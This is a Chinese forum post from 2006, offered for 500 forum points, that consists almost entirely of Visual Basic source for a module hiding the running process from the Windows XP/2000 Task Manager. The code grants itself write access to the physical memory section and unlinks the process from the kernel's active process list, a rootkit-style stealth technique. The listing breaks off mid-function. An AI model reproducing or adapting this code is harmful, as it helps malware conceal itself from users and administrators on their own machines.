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隐藏程序的系统进程

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发表于 2006-8-31 10:10:00 |显示全部楼层

[sell=500] 源码如下： '模块名称：modHideProcess.bas ' '模块功能：在 XP/2K 任务管理器的进程列表中隐藏当前进程 ' '使用方法：直接调用 HideCurrentProcess() '--------------------------------------------------------------------------------------- Option Explicit Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004 Private Const STATUS_ACCESS_DENIED = &HC0000022 Private Const STATUS_INVALID_HandLE = &HC0000008 Private Const ERROR_SUCCESS = 0& Private Const SECTION_MAP_WRITE = &H2 Private Const SECTION_MAP_READ = &H4 Private Const READ_CONTROL = &H20000 Private Const WRITE_DAC = &H40000 Private Const NO_INHERITANCE = 0 Private Const DACL_SECURITY_INFORMATION = &H4 Private Type IO_STATUS_BLOCK Status As Long Information As Long End Type Private Type UNICODE_STRING Length As Integer MaximumLength As Integer Buffer As Long End Type Private Const OBJ_INHERIT = &H2 Private Const OBJ_PERMANENT = &H10 Private Const OBJ_EXCLUSIVE = &H20 Private Const OBJ_CASE_INSENSITIVE = &H40 Private Const OBJ_OPENIF = &H80 Private Const OBJ_OPENLINK = &H100 Private Const OBJ_KERNEL_HandLE = &H200 Private Const OBJ_VALID_ATTRIBUTES = &H3F2 Private Type OBJECT_ATTRIBUTES Length As Long RootDirectory As Long ObjectName As Long Attributes As Long SecurityDeor As Long SecurityQualityOfService As Long End Type Private Type ACL AclRevision As Byte Sbz1 As Byte AclSize As Integer AceCount As Integer Sbz2 As Integer End Type Private Enum ACCESS_MODE NOT_USED_ACCESS GRANT_ACCESS SET_ACCESS DENY_ACCESS REVOKE_ACCESS SET_AUDIT_SUCCESS SET_AUDIT_FAILURE End Enum Private Enum MULTIPLE_TRUSTEE_OPERATION NO_MULTIPLE_TRUSTEE TRUSTEE_IS_IMPERSONATE End Enum Private Enum TRUSTEE_FORM TRUSTEE_IS_SID TRUSTEE_IS_NAME End Enum Private Enum TRUSTEE_TYPE TRUSTEE_IS_UNKNOWN TRUSTEE_IS_USER TRUSTEE_IS_GROUP End Enum Private Type TRUSTEE pMultipleTrustee As Long MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION TrusteeForm As TRUSTEE_FORM TrusteeType As TRUSTEE_TYPE ptstrName As String End Type Private Type EXPLICIT_ACCESS grfAccessPermissions As Long grfAccessMode As ACCESS_MODE grfInheritance As Long TRUSTEE As TRUSTEE End Type Private Type AceArray List() As EXPLICIT_ACCESS End Type Private Enum SE_OBJECT_TYPE SE_UNKNOWN_OBJECT_TYPE = 0 SE_FILE_OBJECT SE_SERVICE SE_PRINTER SE_REGISTRY_KEY SE_LMSHARE SE_KERNEL_OBJECT SE_WINDOW_OBJECT SE_DS_OBJECT SE_DS_OBJECT_ALL SE_PROVIDER_DEFINED_OBJECT SE_WMIGUID_OBJECT End Enum Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long) Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long) Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Private verinfo As OSVERSIONINFO Private g_hNtDLL As Long Private g_pMapPhysicalMemory As Long Private g_hMPM As Long Private aByte(3) As Byte Public Sub HideCurrentProcess() '在进程列表中隐藏当前应用程序进程 Dim thread As Long, process As Long, fw As Long, bw As Long Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long verinfo.dwOSVersionInfoSize = Len(verinfo) If (GetVersionEx(verinfo)) <> 0 Then If verinfo.dwPlatformId = 2 Then If verinfo.dwMajorVersion = 5 Then select Case verinfo.dwMinorVersion Case 0 lOffsetFlink = &HA0 lOffsetBlink = &HA4 lOffsetPID = &H9C Case 1 lOffsetFlink = &H88 lOffsetBlink = &H8C lOffsetPID = &H84 End select End If End If End If If OpenPhysicalMemory <> 0 Then thread = GetData(&HFFDFF124) process = GetData(thread + &H44) fw = GetData(process + lOffsetFlink) bw = GetData(process + lOffsetBlink) SetData fw + 4, bw SetData bw, fw CloseHandle g_hMPM End If End Sub Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long) Dim pDacl As Long Dim pNewDacl As Long Dim pSD As Long Dim dwRes As Long Dim ea As EXPLICIT_ACCESS GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD ea.grfAccessPermissions = SECTION_MAP_WRITE ea.grfAccessMode = GRANT_ACCESS ea.grfInheritance = NO_INHERITANCE ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar SetEntriesInAcl 1, ea, pDacl, pNewDacl SetSecurit

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